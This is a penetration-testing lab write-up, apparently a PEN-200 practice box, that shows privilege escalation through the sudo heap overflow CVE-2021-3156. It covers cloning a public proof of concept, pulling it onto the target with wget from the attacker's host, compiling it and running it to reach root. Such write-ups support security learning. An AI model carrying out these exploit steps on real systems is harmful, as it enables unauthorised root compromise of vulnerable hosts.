CVE-2021-3156
PEAS has identified that the target system is vulnerable to CVE-2021-3156
A vulnerability was found in sudo up to 1.8.31p2/1.9.5p1 (Operating System Utility Software). It has been rated as critical. This issue affects the function
sudoers_policy_main
. The manipulation with an unknown input leads to a heap-based overflow vulnerability. Using CWE to declare the problem leads to CWE-122. A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc(). Impacted is confidentiality, integrity, and availability.
Exploit
Exploit found online
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/reconstruction]
└─$ git clone https://github.com/blasty/CVE-2021-3156 ; tar -czf CVE-2021-3156.tar.gz CVE-2021-3156
Cloning into 'CVE-2021-3156'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 50 (delta 25), reused 38 (delta 15), pack-reused 0 (from 0)
Receiving objects: 100% (50/50), 8.98 KiB | 1022.00 KiB/s, done.
Resolving deltas: 100% (25/25), done.
Downloaded to Kali
Exploitation
www-data@reconstruction:/dev/shm$ wget -q http://192.168.45.215/CVE-2021-3156.tar.gz ; tar -xf CVE-2021-3156.tar.gz ; cd CVE-2021-3156
Delivery complete
www-data@reconstruction:/dev/shm/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
Compile
www-data@reconstruction:/dev/shm/CVE-2021-3156$ ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
usage: ./sudo-hax-me-a-sandwich <target>
available targets:
------------------------------------------------------------
0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
------------------------------------------------------------
manual mode:
./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
www-data@reconstruction:/dev/shm/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
whoami
root
hostname
reconstruction
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.209.103 netmask 255.255.255.0 broadcast 192.168.209.255
ether 00:50:56:9e:77:35 txqueuelen 1000 (Ethernet)
RX packets 13258 bytes 5030885 (5.0 MB)
RX errors 0 dropped 205 overruns 0 frame 0
TX packets 7119 bytes 1379449 (1.3 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 134 bytes 11292 (11.2 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 134 bytes 11292 (11.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
System Level Compromise